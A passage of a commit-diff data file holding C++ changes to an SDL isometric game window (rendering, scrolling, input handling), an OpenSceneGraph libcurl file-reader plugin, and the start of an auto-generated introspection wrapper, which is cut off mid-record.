{\n\t\t\t\t\t\t\tprotagonist->unsetTarget();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tprotagonist->addTarget(mouseBoard);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif( EventHandler::getInstance()->getEvent()->button.button == SDL_BUTTON_RIGHT) {\n\t\t\t\t\tLogger::getInstance()->writeInformation(\"Boton derecho\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GameWindow::scroll(){\n\tdouble ds = (double)scroll_speed * (double)(board.dt) \/ 1000.0; \/\/deltascroll\n\tr2 df;\n\n\tif(mouse.x <= margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.x, 0, margen_pantalla, ds, 0);\n\t\tdf += {-dsi, dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia la izquierda\");\n\t}\n\tif(mouse.x >= ancho_pantalla - margen_pantalla){\n\t\tauto dsi = interpolate(mouse.x, ancho_pantalla - margen_pantalla, ancho_pantalla, 0, ds);\n\t\tdf += {dsi, -dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia la derecha\");\n\t}\n\tif(mouse.y <= margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.y, 0, margen_pantalla, ds, 0);\n\t\tdf += {-dsi, -dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia arriba\");\n\t}\n\tif(mouse.y >= alto_pantalla - margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.y, alto_pantalla - margen_pantalla, alto_pantalla, 0, ds);\n\t\tdf += {dsi, dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia abajo\");\n\t}\n\tfocus(focusPosition + df);\n}\n\nvoid GameWindow::focus(r2 newFocus) {\n\tfocusPosition.x = clip(newFocus.x, 0, board.sizeX - 1);\n\tfocusPosition.y = clip(newFocus.y, 0, board.sizeY - 1);\n}\n\nvoid GameWindow::focus() {\n\tauto protagonist = getSelection();\n\tif (protagonist) {\n\t\tfocus(protagonist->getPosition());\n\t}\n}\n\nr2 GameWindow::getFocus() {\n\treturn focusPosition;\n}\n\nshared_ptr<Entity> GameWindow::getSelection() {\n\treturn player.entities().front();\n}\n\n<commit_msg>Faltaba un break al final de SDL_KEYDOWN<commit_after>#include <algorithm>\n#define NOMINMAX \/\/ Para que nadie nos redefina min max\n#include <sstream>\n\n#include \"game_window.h\"\n\n#include \"..\/parser_yaml\/parser_yaml.h\"\n\nusing namespace std;\n\nbool GameWindow::sdlInitialized = false;\n\nbool GameWindow::initialize() {\n\tLogger::getInstance()->writeInformation(\"Initializing graphics\");\n\tif (GameWindow::sdlInitialized) {\n\t\tLogger::getInstance()->writeWarning(\"SDL already initialized\");\n\t} else {\n\t\tatexit(SDL_Quit);\n\t\tif( SDL_Init( SDL_INIT_VIDEO ) < 0 ) {\n\t\t\tLogger::getInstance()->writeError(\"SDL could not initialize!\");\n\t\t\tLogger::getInstance()->writeError(SDL_GetError());\n\t\t\tGameWindow::sdlInitialized = false;\n\t\t} else {\n\t\t\tGameWindow::sdlInitialized = true;\n\t\t}\n\t}\n\treturn GameWindow::sdlInitialized;\n}\n\nGameWindow::GameWindow(Game& owner, Player& player, ParserYAML& parser) :\n\towner(owner), player(player), board(player.board),\n\tancho_pantalla(parser.getPantalla().ancho), alto_pantalla(parser.getPantalla().alto),\n\tmargen_pantalla(parser.getPantalla().margen_scroll), scroll_speed(parser.getPantalla().velocidad_scroll)\n{\n\tGameWindow::initialize(); \n\twindow = SDL_CreateWindow(\"Trabajo Práctico 7542\",\n\t\tSDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED,\n\t\tancho_pantalla, alto_pantalla,\n\t\tSDL_WINDOW_SHOWN);\n\n\tLogger::getInstance()->writeInformation(\"Creating renderer\");\n\trenderer = SDL_CreateRenderer( window, -1, SDL_RENDERER_ACCELERATED );\n\n\tSDL_SetRenderDrawColor(renderer, 0, 0, 0, 255); \/\/ Color: negro opaco\n\tSDL_RenderClear(renderer); \/\/ Limpio pantalla inicialmente\n\tSDL_RenderPresent( renderer );\n\n\taddSpriteSheet(ENTIDAD_DEFAULT_NOMBRE, ENTIDAD_DEFAULT_IMAGEN, ENTIDAD_DEFAULT_PIXEL_REF_X, ENTIDAD_DEFAULT_PIXEL_REF_Y, ENTIDAD_DEFAULT_ALTO_SPRITE, ENTIDAD_DEFAULT_ANCHO_SPRITE, ENTIDAD_DEFAULT_CANTIDAD_SPRITES, ENTIDAD_DEFAULT_FPS, ENTIDAD_DEFAULT_DELAY);\n\taddSpriteSheet(TERRENO_DEFAULT_NOMBRE, TERRENO_DEFAULT_IMAGEN, TERRENO_DEFAULT_PIXEL_REF_X, TERRENO_DEFAULT_PIXEL_REF_Y, TERRENO_DEFAULT_ALTO_SPRITE, TERRENO_DEFAULT_ANCHO_SPRITE, TERRENO_DEFAULT_CANTIDAD_SPRITES, TERRENO_DEFAULT_FPS, TERRENO_DEFAULT_DELAY);\n\taddSpriteSheet(PROTAGONISTA_DEFAULT_NOMBRE, PROTAGONISTA_DEFAULT_IMAGEN, PROTAGONISTA_DEFAULT_PIXEL_REF_X, PROTAGONISTA_DEFAULT_PIXEL_REF_Y, PROTAGONISTA_DEFAULT_ALTO_SPRITE, PROTAGONISTA_DEFAULT_ANCHO_SPRITE, PROTAGONISTA_DEFAULT_CANTIDAD_SPRITES, PROTAGONISTA_DEFAULT_FPS, PROTAGONISTA_DEFAULT_DELAY);\n\n\tauto tp = parser.getPantalla();\n\tauto tc = parser.getConfiguracion();\n\tfor(auto& t : parser.getTiposEntidades()) {\n\t\taddSpriteSheet(t.nombre, t.imagen, t.pixel_ref_x, t.pixel_ref_y, t.alto_sprite, t.ancho_sprite,  t.cantidad_sprites, t.fps, t.delay);\n\t}\n\n\tfor(auto& t : parser.getTiposTerrenos()) {\n\t\taddSpriteSheet(t.nombre, t.imagen, t.pixel_ref_x, t.pixel_ref_y, t.alto_sprite, t.ancho_sprite,  t.cantidad_sprites, t.fps, t.delay);\n\t}\n\n\tfocus();\n}\n\nGameWindow::~GameWindow() {\n\tspriteSheets.clear();\n\n\tLogger::getInstance()->writeInformation(\"Destroying renderer\");\n\tif (renderer) {\n\t\tSDL_DestroyRenderer(renderer);\n\t\trenderer = nullptr;\n\t}\n\n\tLogger::getInstance()->writeInformation(\"Destroying window\");\n\tif (window) {\n\t\tSDL_DestroyWindow(window);\n\t\twindow = nullptr;\n\t} else {\n\t\tLogger::getInstance()->writeWarning(\"Window never initialized\");\n\t}\n}\n\nbool GameWindow::canDraw(Entity& entity) {\n\tif (!(&entity)) {\n\t\treturn false;\n\t}\n\tSDL_Rect screenRect = {0, 0, ancho_pantalla, alto_pantalla};\n\tauto it = spriteSheets.find(entity.name);\n\tif (it == spriteSheets.end()) {\n\t\tLogger::getInstance()->writeWarning(\"No existe SpriteSheet para este tipo de entidad\" + entity.name);\n\t\treturn false;\n\t}\n\tauto candidate = it->second->targetRect(entity);\n\treturn SDL_HasIntersection(&screenRect, &candidate);\n}\n\nvoid GameWindow::render() {\n\t\/\/\tDibujar\n\tSDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);\n\tSDL_RenderClear(renderer);\n\t\/\/ Dibujamos el terreno\n\tr2 margin(1,1),\n\t   ul = screenToBoardPosition({0, 0}) - margin, \/\/ Upper Left\n\t   ur = screenToBoardPosition({ancho_pantalla, 0}) - margin, \/\/ Upper Right\n\t   bl = screenToBoardPosition({0, alto_pantalla}) + margin, \/\/ Bottom Left\n\t   br = screenToBoardPosition({ancho_pantalla, alto_pantalla}) + margin; \/\/ Bottom Right\n\tdouble ud = ul.x + ul.y - 2, \/\/ Upper diagonal\n\t\t   bd = bl.x + bl.y + 2, \/\/ Bottom diagonal\n\t\t   ld = ul.x - ul.y - 2, \/\/ Left diagonal\n\t\t   rd = ur.x - ur.y + 2; \/\/ Right diagonal\n\tfor (size_t x = max(0.0, ul.x),\n\t\t\tmaxx = min(((double)board.sizeX), br.x);\n\t\t\tx < maxx;\n\t\t\tx++) {\n\t\tif (x >= board.sizeX) {\n\t\t\tbreak;\n\t\t}\n\t\tfor (size_t y = max(max(max(0.0, ur.y), ud - x), x - rd),\n\t\t\t\tmaxy = min(min(min(((double)board.sizeY), bl.y), bd - x), x - ld);\n\t\t\t\ty < maxy;\n\t\t\t\ty++) {\n\t\t\tif (y >= board.sizeY) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tEntity & tile = board.getTerrain(x, y);\n\t\t\tif (&tile) {\n\t\t\t\tif (canDraw(tile)) {\n\t\t\t\t\tspriteSheets[tile.name]->render(tile, renderer);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\/\/ Seleccionamos entidades que se pisan con la pantalla\n\tauto entities = board.selectEntities([this](shared_ptr<Entity> e) {\n\t\t\treturn canDraw(*e);});\n\t\/\/ Ordenamos las entidades por oclusión\n\tsort(entities.begin(), entities.end(), [](shared_ptr<Entity> a, shared_ptr<Entity> b) {\n\t\treturn (a->size.x == a->size.y && b->size.x == b->size.y) ?\n\t\t\t(a->getPosition().x + a->getPosition().y + a->size.x < b->getPosition().x + b->getPosition().y + b->size.x) :\n\t\t\t((a->getPosition().x + a->size.x < b->getPosition().x) || (a->getPosition().y + a->size.y < b->getPosition().y)) &&\n\t\t\t!((b->getPosition().x + b->size.x <= a->getPosition().x) || (b->getPosition().y + b->size.y <= a->getPosition().y));\n\t});\n\tfor(auto& e : entities) {\n\t\tauto it = spriteSheets.find(e->name);\n\t\tif(it == spriteSheets.end()){\n\t\t\tLogger::getInstance()->writeWarning(\"No existe SpriteSheet para este tipo de entidad\" + e->name);\n\t\t\tcontinue;\n\t\t}\n\t\tit->second->render(*e, renderer);\n\t}\n\n\tSDL_RenderPresent( renderer );\n\treturn;\n}\n\nvoid GameWindow::update(){\n\tfor(auto & kv : spriteSheets) {\n\t\tkv.second->update();\n\t}\n\tprocessInput();\n\trender();\n\treturn;\n}\n\nvoid GameWindow::addSpriteSheet(string name, string pPath, int pixelRefX, int pixelRefY, int altoSprite, int anchoSprite, int cantSprites, double fps, double delay) {\n\tauto it = spriteSheets.find(name);\n\tif(it != spriteSheets.end())\n\t\tLogger::getInstance()->writeError(\"Ya existe un spriteSheet para el tipo de entidad con nombre \" + name);\n\telse{\n\t\tspriteSheets[name] = make_shared<SpriteSheet>(pPath, pixelRefX, pixelRefY, altoSprite, anchoSprite, cantSprites, fps, delay, *this);\n\t\tLogger::getInstance()->writeInformation(\"Se agrega spriteSheet para el tipo de entidad con nombre \" + name);\n\t}\n}\n\nr2 GameWindow::screenToBoardPosition(SDL_Point screenPos) {\n\tdouble XsTerm = (double)((double)screenPos.x - ancho_pantalla\/2)\/(double)TILE_WIDTH_DEFAULT;\n\tdouble YsTerm = (double)((double)screenPos.y - alto_pantalla\/2)\/(double)TILE_HEIGHT_DEFAULT;\n\treturn focusPosition + r2(XsTerm + YsTerm + .5, -XsTerm + YsTerm + .5);\n}\n\nSDL_Point GameWindow::boardToScreenPosition(r2 boardPos) {\n\tboardPos -= focusPosition;\n\tSDL_Point ret = {\n\t\t(int)((boardPos.x - boardPos.y) * TILE_WIDTH_DEFAULT \/ 2) + (ancho_pantalla) \/ 2,\n\t\t(int)((boardPos.x + boardPos.y) * TILE_HEIGHT_DEFAULT \/ 2) + (alto_pantalla - TILE_HEIGHT_DEFAULT) \/ 2};\n\treturn ret;\n}\n\nvoid GameWindow::processInput(){\n\tSDL_GetMouseState(&mouse.x, &mouse.y);\n\tscroll();\n\t\/\/\tProcesar input del usuario\n\twhile(SDL_PollEvent(EventHandler::getInstance()->getEvent())) {\n\t\tauto & e = *(EventHandler::getInstance()->getEvent());\n\t\tswitch(e.type) {\n\t\t\tcase SDL_QUIT:\n\t\t\t\towner.exit();\n\t\t\t\tbreak;\n\t\t\tcase SDL_KEYDOWN:\n\t\t\t\tLogger::getInstance()->writeInformation(\"Teclado\");\n\t\t\t\tswitch(e.key.keysym.sym) {\n\t\t\t\t\tcase SDLK_r:\n\t\t\t\t\t\towner.restart();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase SDLK_SPACE:\n\t\t\t\t\t\tfocus();\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase SDL_MOUSEBUTTONUP:\n\t\t\t\tostringstream oss;\n\t\t\t\toss << \"Mouse en \" << mouse.x << \",\" << mouse.y;\n\n\t\t\t\t\/\/ Conversion de coordenadas en pantalla a coordenadas mapa\n\n\t\t\t\tauto mouseBoard = screenToBoardPosition(mouse);\n\t\t\t\toss << \"; mapa: \" << mouseBoard.x << \",\" << mouseBoard.y;\n\n\t\t\t\tLogger::getInstance()->writeInformation(oss.str().c_str());\n\t\t\t\tif( EventHandler::getInstance()->getEvent()->button.button == SDL_BUTTON_LEFT ) {\n\t\t\t\t\tLogger::getInstance()->writeInformation(\"Boton Izquierdo\");\n\t\t\t\t\tauto protagonist = getSelection();\n\t\t\t\t\tif (protagonist) {\n\t\t\t\t\t\tif (!(SDL_GetModState()&KMOD_SHIFT)) {\n\t\t\t\t\t\t\tprotagonist->unsetTarget();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tprotagonist->addTarget(mouseBoard);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif( EventHandler::getInstance()->getEvent()->button.button == SDL_BUTTON_RIGHT) {\n\t\t\t\t\tLogger::getInstance()->writeInformation(\"Boton derecho\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GameWindow::scroll(){\n\tdouble ds = (double)scroll_speed * (double)(board.dt) \/ 1000.0; \/\/deltascroll\n\tr2 df;\n\n\tif(mouse.x <= margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.x, 0, margen_pantalla, ds, 0);\n\t\tdf += {-dsi, dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia la izquierda\");\n\t}\n\tif(mouse.x >= ancho_pantalla - margen_pantalla){\n\t\tauto dsi = interpolate(mouse.x, ancho_pantalla - margen_pantalla, ancho_pantalla, 0, ds);\n\t\tdf += {dsi, -dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia la derecha\");\n\t}\n\tif(mouse.y <= margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.y, 0, margen_pantalla, ds, 0);\n\t\tdf += {-dsi, -dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia arriba\");\n\t}\n\tif(mouse.y >= alto_pantalla - margen_pantalla) {\n\t\tauto dsi = interpolate(mouse.y, alto_pantalla - margen_pantalla, alto_pantalla, 0, ds);\n\t\tdf += {dsi, dsi};\n\t\tLogger::getInstance()->writeInformation(\"Scrolleando hacia abajo\");\n\t}\n\tfocus(focusPosition + df);\n}\n\nvoid GameWindow::focus(r2 newFocus) {\n\tfocusPosition.x = clip(newFocus.x, 0, board.sizeX - 1);\n\tfocusPosition.y = clip(newFocus.y, 0, board.sizeY - 1);\n}\n\nvoid GameWindow::focus() {\n\tauto protagonist = getSelection();\n\tif (protagonist) {\n\t\tfocus(protagonist->getPosition());\n\t}\n}\n\nr2 GameWindow::getFocus() {\n\treturn focusPosition;\n}\n\nshared_ptr<Entity> GameWindow::getSelection() {\n\treturn player.entities().front();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- VirtualPlanetBuilder - Copyright (C) 1998-2007 Robert Osfield \n *\n * This application is open source and may be redistributed and\/or modified   \n * freely and without restriction, both in commericial and non commericial applications,\n * as long as this copyright notice is maintained.\n * \n * This application is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n*\/\n\n\n#include <osgDB\/ReadFile>\n#include <osgDB\/WriteFile>\n#include <osgDB\/Registry>\n#include <osgDB\/FileNameUtils>\n\n#include <iostream>\n#include <sstream>\n\n#include <curl\/curl.h>\n#include <curl\/types.h>\n\n\nclass ReaderWriterCURL : public osgDB::ReaderWriter\n{\n    public:\n    \n        static size_t StreamMemoryCallback(void *ptr, size_t size, size_t nmemb, void *data)\n        {\n            size_t realsize = size * nmemb;\n            std::ostream* buffer = (std::ostream*)data;\n\n            buffer->write((const char*)ptr, realsize);\n\n            return realsize;\n        }\n\n\n        ReaderWriterCURL()\n        {\n            _curl = curl_easy_init();\n            \n            curl_easy_setopt(_curl, CURLOPT_USERAGENT, \"libcurl-agent\/1.0\");            \n            curl_easy_setopt(_curl, CURLOPT_WRITEFUNCTION, StreamMemoryCallback);\n        }\n      \n        ~ReaderWriterCURL()\n        {\n            if (_curl) curl_easy_cleanup(_curl);\n            \n            _curl = 0;\n        }\n\n        virtual const char* className() const { return \"HTTP Protocol Model Reader\"; }\n                                                                                            \n        virtual bool acceptsExtension(const std::string& extension) const\n        {\n            return osgDB::equalCaseInsensitive(extension,\"curl\");\n        }\n\n        enum ObjectType\n        {\n            OBJECT,\n            ARCHIVE,\n            IMAGE,\n            HEIGHTFIELD,\n            NODE\n        };\n                                                                                            \n        virtual ReadResult openArchive(const std::string& fileName,ArchiveStatus status, unsigned int , const Options* options) const\n        {\n            if (status!=READ) return ReadResult(ReadResult::FILE_NOT_HANDLED);\n            else return readFile(ARCHIVE,fileName,options);\n        }\n\n        virtual ReadResult readObject(const std::string& fileName, const Options* options) const\n        {\n            return readFile(OBJECT,fileName,options);\n        }\n                                                                                            \n        virtual ReadResult readImage(const std::string& fileName, const Options *options) const\n        {\n            return readFile(IMAGE,fileName,options);\n        }\n\n        virtual ReadResult readHeightField(const std::string& fileName, const Options *options) const\n        {\n            return readFile(HEIGHTFIELD,fileName,options);\n        }\n\n        virtual ReadResult readNode(const std::string& fileName, const Options *options) const\n        {\n            return readFile(NODE,fileName,options);\n        }\n\n        ReadResult readFile(ObjectType objectType, osgDB::ReaderWriter* rw, std::istream& fin, const Options *options) const\n        {\n            switch(objectType)\n            {\n            case(OBJECT): return rw->readObject(fin,options);\n            case(ARCHIVE): return rw->openArchive(fin,options);\n            case(IMAGE): return rw->readImage(fin,options);\n            case(HEIGHTFIELD): return rw->readHeightField(fin,options);\n            case(NODE): return rw->readNode(fin,options);\n            default: break;\n            }\n            return ReadResult::FILE_NOT_HANDLED;\n        }\n\n        virtual ReadResult readFile(ObjectType objectType, const std::string& fullFileName, const Options *options) const\n        {\n            if (!osgDB::containsServerAddress(fullFileName)) \n            {\n                osg::notify(osg::NOTICE)<<\"File '\"<<fullFileName<<\"' does not contain server address, cannort load with libcurl plugin.\"<<std::endl;\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n\n            std::string fileName;\n            std::string ext = osgDB::getFileExtension(fullFileName);\n            if (ext==\"curl\")\n            {\n                fileName = osgDB::getNameLessExtension(fullFileName);\n            }\n            else\n            {\n                fileName = fullFileName;\n            }\n\n            osgDB::ReaderWriter *reader = \n                osgDB::Registry::instance()->getReaderWriterForExtension( osgDB::getFileExtension(fileName));\n                \n            if (!reader)\n            {\n                osg::notify(osg::NOTICE)<<\"No ReaderWriter for file \"<<fileName<<std::endl;\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n\n            std::stringstream buffer;\n\n            curl_easy_setopt(_curl, CURLOPT_URL, fileName.c_str());\n            curl_easy_setopt(_curl, CURLOPT_WRITEDATA, (void *)&buffer);\n\n            CURLcode res = curl_easy_perform(_curl);\n            \n\n            curl_easy_setopt(_curl, CURLOPT_WRITEDATA, (void *)0);\n        \n            if (res==0)\n            {\n                osg::ref_ptr<Options> local_opt = const_cast<Options*>(options);\n                if (!local_opt) local_opt = new Options;\n\n                if (local_opt.valid() && local_opt->getDatabasePathList().empty())\n                {\n                    local_opt->getDatabasePathList().push_front(osgDB::getFilePath(fileName));\n                }\n\n                ReadResult result = readFile(objectType, reader, buffer, local_opt.get() );\n                \n                local_opt->getDatabasePathList().pop_front();\n                \n                return result;\n            }\n            else\n            {\n                osg::notify(osg::NOTICE)<<\"Read error, file=\"<<fileName<<\" libcurl result = \"<<res<<std::endl;\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n        }\n        \n    protected:\n        \n        CURL* _curl;\n        \n};\n\n\n\n\/\/ now register with Registry to instantiate the above\n\/\/ reader\/writer.\nREGISTER_OSGPLUGIN(rgb, ReaderWriterCURL)\n<commit_msg>Fixed push\/popping of filepath, removed verbose debug messages <commit_after>\/* -*-c++-*- VirtualPlanetBuilder - Copyright (C) 1998-2007 Robert Osfield \n *\n * This application is open source and may be redistributed and\/or modified   \n * freely and without restriction, both in commericial and non commericial applications,\n * as long as this copyright notice is maintained.\n * \n * This application is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n*\/\n\n\n#include <osgDB\/ReadFile>\n#include <osgDB\/WriteFile>\n#include <osgDB\/Registry>\n#include <osgDB\/FileNameUtils>\n\n#include <iostream>\n#include <sstream>\n\n#include <curl\/curl.h>\n#include <curl\/types.h>\n\n\nclass ReaderWriterCURL : public osgDB::ReaderWriter\n{\n    public:\n    \n        static size_t StreamMemoryCallback(void *ptr, size_t size, size_t nmemb, void *data)\n        {\n            size_t realsize = size * nmemb;\n            std::ostream* buffer = (std::ostream*)data;\n\n            buffer->write((const char*)ptr, realsize);\n\n            return realsize;\n        }\n\n\n        ReaderWriterCURL()\n        {\n            _curl = curl_easy_init();\n            \n            curl_easy_setopt(_curl, CURLOPT_USERAGENT, \"libcurl-agent\/1.0\");            \n            curl_easy_setopt(_curl, CURLOPT_WRITEFUNCTION, StreamMemoryCallback);\n        }\n      \n        ~ReaderWriterCURL()\n        {\n            if (_curl) curl_easy_cleanup(_curl);\n            \n            _curl = 0;\n        }\n\n        virtual const char* className() const { return \"HTTP Protocol Model Reader\"; }\n                                                                                            \n        virtual bool acceptsExtension(const std::string& extension) const\n        {\n            return osgDB::equalCaseInsensitive(extension,\"curl\");\n        }\n\n        enum ObjectType\n        {\n            OBJECT,\n            ARCHIVE,\n            IMAGE,\n            HEIGHTFIELD,\n            NODE\n        };\n                                                                                            \n        virtual ReadResult openArchive(const std::string& fileName,ArchiveStatus status, unsigned int , const Options* options) const\n        {\n            if (status!=READ) return ReadResult(ReadResult::FILE_NOT_HANDLED);\n            else return readFile(ARCHIVE,fileName,options);\n        }\n\n        virtual ReadResult readObject(const std::string& fileName, const Options* options) const\n        {\n            return readFile(OBJECT,fileName,options);\n        }\n                                                                                            \n        virtual ReadResult readImage(const std::string& fileName, const Options *options) const\n        {\n            return readFile(IMAGE,fileName,options);\n        }\n\n        virtual ReadResult readHeightField(const std::string& fileName, const Options *options) const\n        {\n            return readFile(HEIGHTFIELD,fileName,options);\n        }\n\n        virtual ReadResult readNode(const std::string& fileName, const Options *options) const\n        {\n            return readFile(NODE,fileName,options);\n        }\n\n        ReadResult readFile(ObjectType objectType, osgDB::ReaderWriter* rw, std::istream& fin, const Options *options) const\n        {\n            switch(objectType)\n            {\n            case(OBJECT): return rw->readObject(fin,options);\n            case(ARCHIVE): return rw->openArchive(fin,options);\n            case(IMAGE): return rw->readImage(fin,options);\n            case(HEIGHTFIELD): return rw->readHeightField(fin,options);\n            case(NODE): return rw->readNode(fin,options);\n            default: break;\n            }\n            return ReadResult::FILE_NOT_HANDLED;\n        }\n\n        virtual ReadResult readFile(ObjectType objectType, const std::string& fullFileName, const Options *options) const\n        {\n            if (!osgDB::containsServerAddress(fullFileName)) \n            {\n                if (options && !(options->getDatabasePathList().empty()))\n                {\n                    if (osgDB::containsServerAddress(options->getDatabasePathList().front()))\n                    {\n                        std::string newFileName = options->getDatabasePathList().front() + \"\/\" + fullFileName;\n                        \n                        return readFile(objectType, newFileName,options);\n                    }\n                }\n\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n\n            std::string fileName;\n            std::string ext = osgDB::getFileExtension(fullFileName);\n            if (ext==\"curl\")\n            {\n                fileName = osgDB::getNameLessExtension(fullFileName);\n            }\n            else\n            {\n                fileName = fullFileName;\n            }\n\n            osgDB::ReaderWriter *reader = \n                osgDB::Registry::instance()->getReaderWriterForExtension( osgDB::getFileExtension(fileName));\n                \n            if (!reader)\n            {\n                osg::notify(osg::NOTICE)<<\"Error: No ReaderWriter for file \"<<fileName<<std::endl;\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n\n            std::stringstream buffer;\n\n            curl_easy_setopt(_curl, CURLOPT_URL, fileName.c_str());\n            curl_easy_setopt(_curl, CURLOPT_WRITEDATA, (void *)&buffer);\n\n            CURLcode res = curl_easy_perform(_curl);\n            \n\n            curl_easy_setopt(_curl, CURLOPT_WRITEDATA, (void *)0);\n        \n            if (res==0)\n            {\n                osg::ref_ptr<Options> local_opt = const_cast<Options*>(options);\n                if (!local_opt) local_opt = new Options;\n\n                local_opt->getDatabasePathList().push_front(osgDB::getFilePath(fileName));\n\n                ReadResult result = readFile(objectType, reader, buffer, local_opt.get() );\n                \n                local_opt->getDatabasePathList().pop_front();\n                \n                return result;\n            }\n            else\n            {\n                osg::notify(osg::NOTICE)<<\"Error: libcurl read error, file=\"<<fileName<<\" result = \"<<res<<std::endl;\n                return ReadResult::FILE_NOT_HANDLED;\n            }\n        }\n        \n    protected:\n        \n        CURL* _curl;\n        \n};\n\n\n\n\/\/ now register with Registry to instantiate the above\n\/\/ reader\/writer.\nREGISTER_OSGPLUGIN(rgb, ReaderWriterCURL)\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ***************************************************************************\n\/\/\n\/\/   Generated automatically by genwrapper.\n\/\/   Please DO NOT EDIT this file!\n\/\/\n\/\/ ***************************************************************************\n\n#include <osgIntrospection\/ReflectionMacros>\n#include <osgIntrospection\/TypedMethodInfo>\n#include <osgIntrospection\/StaticMethodInfo>\n#include <osgIntrospection\/Attributes>\n\n#include <osg\/Image>\n#include <osg\/Shader>\n#include <osg\/Texture>\n#include <osg\/TransferFunction>\n#include <osg\/Vec4>\n\n\/\/ Must undefine IN and OUT macros defined in Windows headers\n#ifdef IN\n#undef IN\n#endif\n#ifdef OUT\n#undef OUT\n#endif\n\nBEGIN_ABSTRACT_OBJECT_REFLECTOR(osg::TransferFunction)\n\tI_BaseType(osg::Object);\n\tI_Constructor0(____TransferFunction,\n\t               \"\",\n\t               \"\");\n\tI_Method0(osg::Image *, getImage,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Image_P1__getImage,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Image *, getImage,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Image_P1__getImage,\n\t          \"\",\n\t          \"\");\n\tI_Method0(osg::Texture *, getTexture,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Texture_P1__getTexture,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Texture *, getTexture,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Texture_P1__getTexture,\n\t          \"\",\n\t          \"\");\n\tI_Method0(osg::Shader *, getShader,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Shader_P1__getShader,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Shader *, getShader,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Shader_P1__getShader,\n\t          \"\",\n\t          \"\");\n\tI_SimpleProperty(osg::Image *, Image, \n\t                 __osg_Image_P1__getImage, \n\t                 0);\n\tI_SimpleProperty(osg::Shader *, Shader, \n\t                 __osg_Shader_P1__getShader, \n\t                 0);\n\tI_SimpleProperty(osg::Texture *, Texture, \n\t                 __osg_Texture_P1__getTexture, \n\t                 0);\nEND_REFLECTOR\n\nBEGIN_ABSTRACT_OBJECT_REFLECTOR(osg::TransferFunction1D)\n\tI_BaseType(osg::TransferFunction);\n\tI_Constructor0(____TransferFunction1D,\n\t               \"\",\n\t               \"\");\n\tI_Method2(void, setInputRange, IN, float, minimum, IN, float, maximum,\n\t          Properties::NON_VIRTUAL,\n\t          __void__setInputRange__float__float,\n\t          \"\",\n\t          \"\");\n\tI_Method1(void, allocate, IN, unsigned int, numX,\n\t          Properties::NON_VIRTUAL,\n\t          __void__allocate__unsigned_int,\n\t          \"\",\n\t          \"\");\n\tI_MethodWithDefaults1(void, clear, IN, const osg::Vec4 &, color, osg::Vec4(1.0f, 1.0f, 1.0f, 1.0f),\n\t                      Properties::NON_VIRTUAL,\n\t                      __void__clear__C5_osg_Vec4_R1,\n\t                      \"\",\n\t                      \"\");\n\tI_Method0(unsigned int, getNumberCellsX,\n\t          Properties::NON_VIRTUAL,\n\t          __unsigned_int__getNumberCellsX,\n\t          \"\",\n\t          \"\");\n\tI_MethodWithDefaults3(osg::Vec4 &, getValue, IN, unsigned int, i, , IN, unsigned int, j, 0, IN, unsigned int, k, 0,\n\t                      Properties::NON_VIRTUAL,\n\t                      __osg_Vec4_R1__getValue__unsigned_int__unsigned_int__unsigned_int,\n\t                      \"\",\n\t                      \"\");\n\tI_MethodWithDefaults3(const osg::Vec4 &, getValue, IN, unsigned int, i, , IN, unsigned int, j, 0, IN, unsigned int, k, 0,\n\t                      Properties::NON_VIRTUAL,\n\t                      __C5_osg_Vec4_R1__getValue__unsigned_int__unsigned_int__unsigned_int,\n\t                      \"\",\n\t                      \"\");\n\tI_SimpleProperty(unsigned int, NumberCellsX, \n\t                 __unsigned_int__getNumberCellsX, \n\t                 0);\nEND_REFLECTOR\n\n<commit_msg>Updated wrappers<commit_after>\/\/ ***************************************************************************\n\/\/\n\/\/   Generated automatically by genwrapper.\n\/\/   Please DO NOT EDIT this file!\n\/\/\n\/\/ ***************************************************************************\n\n#include <osgIntrospection\/ReflectionMacros>\n#include 